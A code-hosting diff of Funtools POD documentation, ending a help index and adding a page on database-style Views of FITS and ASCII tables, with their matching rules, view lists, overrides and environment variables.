FunOpen: open a Funtools file
|
||||
[funopen(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageGet: retrieve image data
|
||||
[funimageget(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImagePut: output image data
|
||||
[funimageput(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageRowGet: retrieve image data by row
|
||||
[funimagerowget(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunImageRowPut: output image data by row
|
||||
[funimagerowput(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunTableRowGet: retrieve rows from a table
|
||||
[funtablerowget(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunTableRowPut: output rows to a table
|
||||
[funtablerowput(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunColumnSelect: select columns in a table for access
|
||||
[funcolumnselect(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunColumnActivate: activate columns in a table for read/write
|
||||
[funcolumnactivate(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunColumnLookup: lookup info about the columns in a table
|
||||
[funcolumnlookup(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunInfoGet: get info about an image or table
|
||||
[funinfoget(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunInfoPut: put info about an image or table
|
||||
[funinfoput(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunParamGet: get header param
|
||||
[funparamget(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunParamPut: put header param
|
||||
[funparamput(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunFlush: flush I/O in a Funtools file
|
||||
[funflush(3)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FunClose: close a Funtools file
|
||||
[funclose(3)]
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Programming Examples
|
||||
[funlib(3)]
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evmerge: merge new columns with existing columns
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
evcols: add column and rows to binary tables
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
imblank: blank out image values below a threshold
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Data Files
|
||||
[funfiles(n)]
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Supported Data Formats
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
FITS File and Extensions
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Non-FITS Raw Event Files
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Non-FITS Array Files
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Column-based Text (ASCII) Files
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Database Views of Tables
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Image Sections and Blocking
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Binning FITS Binary Tables and Non-FITS Event Files
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Disk Files and Other Supported File Types
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Data Filtering
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Table Filtering
|
||||
[funfilters(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Fast Table Filtering using Indexes
|
||||
[funidx(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Spatial Region Filtering
|
||||
[funregions(n)]
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Region Geometry
|
||||
[reggeometry(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Region Algebra
|
||||
[regalgebra(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Region Coordinates
|
||||
[regcoords(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Region Boundaries
|
||||
[regbounds(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Differences Between Funtools and IRAF Regions
|
||||
[regdiff(n)]
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Combining Table and Region Filters
|
||||
[funcombine(n)]
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Miscellaneous
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools Environment Variables
|
||||
[funenv(n)]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
Funtools ChangeLog
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,407 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funview: Database View Support for Tables>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the options for utilizing
|
||||
database-inspired Views of tables.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
B<Database Views>
|
||||
|
||||
In database parlance, a B<View> defines a "virtual table", i.e.,
|
||||
a description of row and/or column selection filters (but with no
|
||||
permanent storage space allocated). When used in place of a table, a
|
||||
View selects the specified rows and/or columns from one or more real
|
||||
tables. Views enable you to see complicated data tables in a more
|
||||
convenient format. They also can be used as a security mechanism, by
|
||||
restricting user access to specific columns and/or rows. [See:
|
||||
|
||||
http://www.cs.unibo.it/~ciaccia/COURSES/RESOURCES/SQLTutorial/sqlch5.htm
|
||||
|
||||
for a good discussion of SQL Views.]
|
||||
|
||||
|
||||
Funtools supports an expanded notion of Views for all tabular data
|
||||
(FITS tables, raw binary tables, and ASCII column files). Funtools
|
||||
Views allow you to pre-set values for the filter specification, the
|
||||
columns to activate, and display format (though the latter is for
|
||||
fundisp only). Setting the filter and column activation values
|
||||
provides functionality equivalent to that of a classical database
|
||||
View, while the ability to set the format is similar to classical
|
||||
report writing capabilities.
|
||||
|
||||
B<Funtools View Attributes>
|
||||
|
||||
A Funtools View is a text file containing one or more of the following
|
||||
columns:
|
||||
|
||||
column description
|
||||
------ -----------------------------
|
||||
view name of view
|
||||
file data file name or template
|
||||
filter filter specification
|
||||
columns columns to activate
|
||||
format fundisp format specification
|
||||
|
||||
All of the attribute columns are optional, including
|
||||
the B<view> name itself. This means that a View can be named or
|
||||
unnamed. Unnamed Views can refer to a specific file or a template of
|
||||
files (obviously if neither the view or the file column is specified,
|
||||
the input View specification will never be used). You can specify any
|
||||
combination of filter, column, and format parameters. (It also is
|
||||
possible to apply file-specific View to other files; see the discussion
|
||||
on B<View Lists> below). Each column has a size limit of 1024 characters.
|
||||
|
||||
|
||||
For example, consider the following View file:
|
||||
|
||||
view file format columns filter
|
||||
---- ---------------------- ------ ------------ -------
|
||||
x3 ${HOME}/data/snr.ev I=%4d x y pi pha cir 512 512 .1
|
||||
x2 ${HOME}/data/snr.ev x y pi pha cir 512 512 .1
|
||||
x1 ${HOME}/data/snr.ev cir 512 512 .1
|
||||
x1a ${HOME}/data/snr.ev x y pi pha
|
||||
x0 ${HOME}/data/snr.ev
|
||||
xf I=%4d
|
||||
xc x y pi pha
|
||||
xr cir 512 512 .1
|
||||
*.ev x y pi pha
|
||||
*.fit x y dx dy cir 400 400 3
|
||||
*.fits I=%3d x y dx dy cir 400 400 3
|
||||
|
||||
This database example is in rdb format, i.e. using tab delimiters and
|
||||
permitting null values. Any valid ASCII table format is acceptable,
|
||||
but if you use a format that does not permit null values, it will be
|
||||
necessary to quote the null strings.
|
||||
|
||||
|
||||
The first five entries (x3, x2, x1, x1a, x0) are named entries defining
|
||||
default values specifically for the snr.ev data file. Typically, you
|
||||
would use these Views by specifying View name, and the corresponding
|
||||
file, filter, column, and format values would be used. Note that the x0
|
||||
View is essentially an alias for the pathname of this file.
|
||||
|
||||
|
||||
The next three entries define defaults that can be applied to any
|
||||
file. You typically would use these View names in conjunction with
|
||||
a specific file name (see B<View Lists> below) so that the associated
|
||||
parameter(s) were applied to that file.
|
||||
|
||||
|
||||
The last three entry in the database define unnamed Views that
|
||||
pertains to all files ending with the specified templates. In these
|
||||
cases, any View that specifies a file name matching the file template
|
||||
would be processed with the associated parameter attributes.
|
||||
|
||||
B<Invoking a Funtools View (in Place of an Input File)>
|
||||
|
||||
To use a Funtools View, you simply pre-pend the "v:" prefix to a View name or
|
||||
a file name where an input file name usually is specified. For example:
|
||||
|
||||
fundisp v:x3
|
||||
|
||||
specifies that the View named x3 (with its file name and associated
|
||||
parameters) is processed as the input file to fundisp. Using the
|
||||
example database, above, this is equivalent to:
|
||||
|
||||
fundisp -f "I=%4d" ${HOME}/data/snr.ev'[cir 512 512 .1]' "x y pi pha"
|
||||
|
||||
That is, the format is used with fundisp's -f (format) switch, while the
|
||||
filename and extension are composed of the x3 View's filename and
|
||||
region filter.
|
||||
|
||||
|
||||
Similarly, executing a command such as:
|
||||
|
||||
fundisp v:foo.fit
|
||||
|
||||
will match the unnamed View associated with the template "*.fit".
|
||||
This is equivalent to executing:
|
||||
|
||||
fundisp foo.fit'[cir 400 400 3]' "x y dx dy"
|
||||
|
||||
Of course, if you omit the "v:" prefix, then no View processing takes place:
|
||||
|
||||
fundisp foo.fit # process foo.fit without any View parameters
|
||||
fundisp x3 # error (assuming there is no file named x3)
|
||||
|
||||
|
||||
B<Basic View Matching Rules>
|
||||
|
||||
|
||||
When a "v:" prefix is recognized, Funtools searches for a View database
|
||||
file in the following order:
|
||||
|
||||
location description
|
||||
------------ ------------------------------------
|
||||
FUN_VIEWFILE environment variable (any file name)
|
||||
./.funtools.vu hidden file, default name
|
||||
$HOME/.funtools.vu hidden file, default name
|
||||
|
||||
The first View database file located is used to construct a new
|
||||
filename, as well as an activation column specification and a format
|
||||
specification. The following rules are used:
|
||||
|
||||
|
||||
1. An attempt is made to match the input name (i.e., the part of the
|
||||
input View after the "v:" prefix) against the B<view> column value
|
||||
(if present) of each row in the database. If a match is found, the
|
||||
values of all non-blank columns are saved for later use. Also note
|
||||
that the first match terminates the search: i.e., the order of the
|
||||
database rows matters.
|
||||
|
||||
|
||||
2. If no B<view> match is made, an attempt is made to match the input
|
||||
name against the B<file> column value (if present). Matching is
|
||||
performed on the full pathname of both the input name and the
|
||||
database file name, and on the non-directory (root) part of these
|
||||
files. This means that the root specification:
|
||||
|
||||
fundisp v:snr.ev
|
||||
|
||||
will match a row in the database that has a full pathname in the file,
|
||||
allowing you to use a B<file>-matched View without having to
|
||||
specify the full pathname. In this example, the "v:snr.ev" View
|
||||
specification will match the first row (v:x3) in the database:
|
||||
|
||||
x3 ${HOME}/data/snr.ev I=%4d x y pi pha cir 512 512 .1
|
||||
|
||||
even though the row contains a fully qualified pathname as the file
|
||||
value. Once again, values of all non-blank columns are saved, and the
|
||||
first match terminates the search.
|
||||
|
||||
|
||||
3. If neither a B<view> or a B<view> match has been found,
|
||||
then a simple template match is attempted against the B<view>
|
||||
values. Template matching supports a simplified version of file
|
||||
globbing (not a regular expression), with support for a single "*"
|
||||
(all characters), "?" (single character), or "[...]" (range) specification.
|
||||
|
||||
|
||||
4. If no template match was found on the B<view> column, then a
|
||||
simple template match is attempted against the B<file> columns.
|
||||
|
||||
|
||||
5. If no match is found, then the filename (minus the "v:" prefix) is
|
||||
returned.
|
||||
|
||||
B<More on View Matching Rules: Single vs. Multiple Matches >
|
||||
|
||||
The matching rules described above stop after the first match,
|
||||
regardless of whether that match provides values for all three
|
||||
parameters (filter, columns, and format). In cases where a B<view>
|
||||
or B<file> match does not provide all three values, it is possible
|
||||
that a template match might do so. With regard to the example View
|
||||
database above, the x1 View provides only a filter, while omitting
|
||||
both the format and columns values. But note that the final rows in
|
||||
the database could provide the values via a template match on the
|
||||
filename. This sort of multiple matching is especially valuable in
|
||||
order to provide "global" values to several Views.
|
||||
|
||||
|
||||
Obviously, multiple matching might not be wanted in every
|
||||
case. Therefore, we support both multiple matching and single matching
|
||||
according to the value of the FUN_VIEWMATCH environment variable. If
|
||||
the FUN_VIEWMATCH environment variable exists and if its value begins
|
||||
with "s", then a single match is used and missing parameters are not
|
||||
filled in with subsequent template matches on the file name. That is,
|
||||
matching rules above are followed exactly as explained above. If the
|
||||
value of this environment variable begins with "m" (or does not exist),
|
||||
then multiple matches are used to try to fill in missing parameters.
|
||||
In this case, template matching always takes place and missing values are
|
||||
taken from these template matches.
|
||||
|
||||
|
||||
Thus, in the example above, the View specification:
|
||||
|
||||
fundisp v:x1
|
||||
|
||||
will take the file name and filter value from the x1 View:
|
||||
|
||||
x1 ${HOME}/data/snr.ev cir 512 512 .1
|
||||
|
||||
The column value then will be taken from the "*.ev" file template match
|
||||
against the x1 file name:
|
||||
|
||||
*.ev x y pi pha
|
||||
|
||||
Note once again that order is important: missing values are taken in the
|
||||
order in which the template matches are processed.
|
||||
|
||||
B<View Lists: Applying a View to Any File>
|
||||
|
||||
|
||||
It is possible to apply a named View, or even several Views, to any
|
||||
data file by appending a B<viewlist> immediately after the standard "v:"
|
||||
prefix. A viewlist takes the form:
|
||||
|
||||
:v1,v2,...vn:
|
||||
|
||||
where v1, v2, etc. are named Views. The two ":" colon characters surrounding
|
||||
the list are required. Thus, the syntax for applying a viewlist to a file is:
|
||||
|
||||
v::view1,view2,...viewn:filename
|
||||
|
||||
Note that the name after the last ":" is assumed to be a file; it is
|
||||
not permissible (or sensible) to use a View name.
|
||||
|
||||
|
||||
For example, the View specification:
|
||||
|
||||
fundisp v::x2:foo
|
||||
|
||||
applies the x2 View to the file foo (even if there is a View named foo)
|
||||
and (in using our example database) is equivalent to:
|
||||
|
||||
./fundisp foo'[cir 512 512 .1] "x y pi pha"
|
||||
|
||||
The same command can be effected using a list of Views:
|
||||
|
||||
fundisp v::x1,x1a:foo
|
||||
|
||||
|
||||
|
||||
What happens if a viewlist is used and the file also matches a
|
||||
template? Consider, for example, this View specification:
|
||||
|
||||
fundisp v::x2:foo.fit
|
||||
|
||||
Here, the x2 View will supply filter and column values, while the
|
||||
template *.fit can also supply (different) filter and column
|
||||
values. In this case, the explicitly specified Views of the viewlist
|
||||
trump the matched view values.
|
||||
|
||||
|
||||
On the other hand, if a file template match can supply a View value
|
||||
that is not supplied by the viewlist, then that value will be taken
|
||||
from the file template match. For example:
|
||||
|
||||
fundisp v::x2:foo.fits
|
||||
|
||||
does not explicitly supply a format value, but the file match on *.fits
|
||||
can and does. You can avoid supplying missing values using file template
|
||||
matching by replacing the first ":" with a "-" in a viewlist
|
||||
specification:
|
||||
|
||||
fundisp v:-x2:foo.fits
|
||||
|
||||
The use of ":+" to explicitly allow file template matching is also
|
||||
supported, but is the same as the default case. Note that the nuances
|
||||
of viewlist support are subject to change as our experience and
|
||||
understanding grow.
|
||||
|
||||
B<Overriding Values Associated with a View>
|
||||
|
||||
|
||||
To override values associated with a View, simply supply the override
|
||||
values in the correct place on the command line. Thus, given
|
||||
the example database described above, the command:
|
||||
|
||||
fundisp v:x3
|
||||
|
||||
specifies that the View named x3, along with its file name and
|
||||
associated parameters, be processed as the input file to fundisp in
|
||||
this way:
|
||||
|
||||
fundisp -f "I=%4d" ${HOME}/data/snr.ev'[cir 512 512 .1]' "x y pi pha"
|
||||
|
||||
To override one or more of these values, simply specify a new value
|
||||
for the format, filter, or columns. For example, if your input View file
|
||||
contains a filter, then the View will use that filter as an override
|
||||
of the View filter:
|
||||
|
||||
fundisp v:x3'[cir 400 400 3]'
|
||||
|
||||
will use the columns and format of the x3 View but not the x3 filter. Further
|
||||
examples are:
|
||||
|
||||
fundisp v:x3 "x y dx dy" # activate a different set of columns
|
||||
fundisp -f "I=%3d" v:x3 # use a different format statement
|
||||
|
||||
|
||||
|
||||
Note that extension names, extension index values, and other
|
||||
non-filter specifications B<do not> override the View
|
||||
filter. Thus:
|
||||
|
||||
fundisp v:foo.fit[3]
|
||||
|
||||
will still use the filter associated with the .fit template (see above), since
|
||||
the "3" is an extension index, not a filter.
|
||||
|
||||
B<Environment Variables>
|
||||
|
||||
The following environment variables are used by Funtools Views:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FUN_VIEWNAME>
|
||||
|
||||
|
||||
The B<FUN_VIEWNAME> environment variable specifies the
|
||||
name and location of the View database file. If not present, the
|
||||
files ./.funtools.vu and $HOME/.funtools.vu are searched for, in
|
||||
that order.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FUN_VIEWMATCH>
|
||||
|
||||
|
||||
The B<FUN_VIEWMATCH> environment variable specifies whether a
|
||||
single match or multiple match algorithm is used to locate parameter
|
||||
values. If the value of this environment variable begins with "s",
|
||||
then a single match is used and missing parameters are not filled in
|
||||
with subsequent template matches on the file name. If the value begins
|
||||
with "m", then multiple matches are used to try to fill in missing
|
||||
parameters. The default is to use multiple matches.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
B<Restrictions and Problems>
|
||||
|
||||
Support for overriding a filter (while not overriding extension names,
|
||||
extension indexes, etc.) requires that we can sense the presence of a
|
||||
filter in a bracket specification. It is unclear yet whether our
|
||||
algorithm is perfect.
|
||||
|
||||
|
||||
Go to Funtools Help Index
|
||||
|
||||
Last updated: August 3, 2007
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=cut
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue